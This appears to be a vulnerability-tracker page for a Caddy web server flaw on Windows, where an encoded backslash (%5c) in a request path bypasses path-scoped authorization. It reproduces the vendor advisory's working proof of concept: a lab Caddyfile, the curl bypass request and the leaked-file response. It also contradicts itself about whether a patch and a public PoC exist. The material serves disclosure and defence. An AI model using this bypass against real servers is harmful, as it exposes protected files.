Skip to main content

Caddy EUVDEUVD-2026-38557

| CVE-2026-52844 HIGH
Path Traversal (CWE-22)
2026-06-16 https://github.com/caddyserver/caddy GHSA-qrp7-cvwr-j2c6
7.5
CVSS 3.1 · Vendor: https://github.com/caddyserver/caddy
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Windows-hosted Caddy site with path-scoped auth
  2. Delivery
    Enumerate likely protected paths (/private/, /admin/, /secret/)
  3. Exploit
    Send GET request with %5C replacing the slash after the protected prefix
  4. Execution
    Path matcher fails to match, protective route is skipped
  5. Persist
    file_server resolves backslash as Windows separator
  6. Impact
    Read sensitive file contents from protected subtree

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the Caddy server to be running on Windows (the bypass depends on Go's Windows os filesystem treating \ as a path separator), and the deployment must use a Caddy path matcher (e.g., @private path /private/*, or the equivalent basic_auth /secret/* form) as the authorization gate in front of a file_server directive serving the protected subtree. No authentication, user interaction, or non-default Caddy configuration beyond this widely documented pattern is needed (AV:N/AC:L/PR:N/UI:N). Linux and macOS deployments are not exploitable, and deployments where authorization is enforced by an upstream proxy or by a non-file_server handler are not affected; ..%5c parent-directory traversal outside the configured site root is still blocked, so impact is bounded to files inside the protected subtree.

Impact

The CVSS 3.1 score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) accurately reflects an unauthenticated network-reachable confidentiality bypass with no integrity or availability impact, consistent with read-only static-file disclosure. No EPSS or CISA KEV data is provided, and the vulnerability is not listed as actively exploited. The realistic risk is moderately high but narrowly scoped: it is Windows-only (Linux/macOS Caddy deployments are unaffected) and requires the operator to use Caddy path matchers as an authorization gate in front of file_server - a deployment pattern Caddy's own documentation recommends (e.g., basic_auth /secret/* { ... }), making real-world impact plausible wherever Caddy runs on Windows. The advisory includes a fully working PoC, which materially lowers the barrier to exploitation; treat this as a real priority for Windows-hosted Caddy instances, but lower priority for Linux/container deployments.

Exploit ScenarioDerived

An attacker identifies a Windows-hosted Caddy site whose configuration protects /private/*, /admin/*, or similar subtrees with basic_auth, respond 403, or other path-scoped handlers in front of file_server. They issue GET /private%5csecret.txt (or any other protected file with the first / after the prefix replaced by %5c), which fails the URL-semantic path match but is later resolved against the Windows filesystem with \ as a separator. Sensitive files such as backups, exported admin data, credentials, or session secrets stored beneath the gated subtree are returned with HTTP 200, as demonstrated in the advisory's published PoC against current HEAD.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 16, 2026

Authorization bypass in Caddy web server on Windows allows unauthenticated remote attackers to access files in path-protected directories by substituting forward slashes with URL-encoded backslashes (%5C). The flaw stems from an inconsistency between Caddy's path matcher and file_server handler, where the matcher treats \ as a literal character while Windows-native filesystem code treats it as a separator. A detailed proof-of-concept is published in the vendor advisory, though no public exploit identified at time of analysis in exploitation databases.

RemediationAI

Vendor-released patch: upgrade Caddy v2 to 2.11.4 or later, which normalizes Windows path separators consistently before path-matcher evaluation (https://github.com/caddyserver/caddy/security/advisories/GHSA-qrp7-cvwr-j2c6). For Caddy v1 (<= 1.0.5) no vendor-released patch is identified - migrate to Caddy v2 2.11.4+. If immediate upgrade is not possible on Windows, compensating controls include moving Caddy off Windows to a Linux host (eliminates the OS-specific behavior but requires re-platforming), or placing the authorization decision behind a reverse-proxied upstream that performs its own canonical path enforcement rather than relying on the path matcher in front of file_server (adds latency and operational complexity). A narrower stopgap is to add a not path *\* *%5c* *%5C* exclusion to relevant route matchers so requests containing literal or encoded backslashes are rejected before file_server resolves them; this may break any legitimate URLs containing those characters but is otherwise low-impact.

Affected VersionsENISA

caddy < 2.11.4

Affected Packages

go github.com/caddyserver/caddy no fix
go github.com/caddyserver/caddy/v2 fix: 2.11.4
euvd caddy fix: 2.11.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Caddy is a popular Go-based open-source web server widely deployed for static file serving and reverse proxying. The root cause is a CWE-22 path traversal class issue arising from dual-path-interpretation: MatchPath.MatchWithError() in modules/caddyhttp/matchers.go compares r.URL.Path strictly against URL semantics and does not normalize \ to /, so /private\secret.txt does not match the /private/* rule. When the matcher misses, the protective route (e.g., a 403 response or basic_auth) is skipped. The file_server handler then calls SanitizedPathJoin(root, r.URL.Path) and the underlying Go os filesystem layer on Windows treats \ as a path separator, opening the protected file. The CPE data confirms the affected modules are pkg:go/github.com_caddyserver_caddy_v2 and the legacy pkg:go/github.com_caddyserver_caddy. The issue is related to but distinct from CVE-2026-27585 (GHSA-4xrr-hq4w-6vf4), which fixed backslash handling specifically in try_files/file matchers but did not address the broader path matcher path.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/caddyserver/caddy) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 7.5 HIGH

Unauthenticated remote HTTP request bypasses path-based authorization on Windows with no user interaction; impact is confidential file disclosure only, no integrity or availability effect.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/caddyserver/caddy).

CVSS VectorVendor: https://github.com/caddyserver/caddy

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

  • MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
  • If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
  • file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
  • On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

powershell
$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

powershell
cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

bash
curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

text
> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

bash
curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

text
> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

json
{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

Executive ViewAI

Why It Matters

Caddy web server on Windows contains an authorization bypass vulnerability (CVE-2026-52844) that allows unauthenticated attackers to access files in path-protected directories by exploiting path-matching inconsistencies between the matcher and filesystem handler. Organizations running Caddy on Windows face direct exposure of protected content and potential data leakage without immediate patch availability.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Web Application Firewall blocking requests with %5C or backslash characters in path parameters; (2) Network segmentation restricting Caddy listener access to trusted sources only; (3) Relocate sensitive files outside web-accessible directories where operationally feasible; (4) Enable comprehensive request logging with alerting for suspicious path traversal patterns; (5) Evaluate temporary service suspension for critical systems until patch availability is established.

Threat Intelligence Overview

EPSS Score
0.4%
Top 69% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy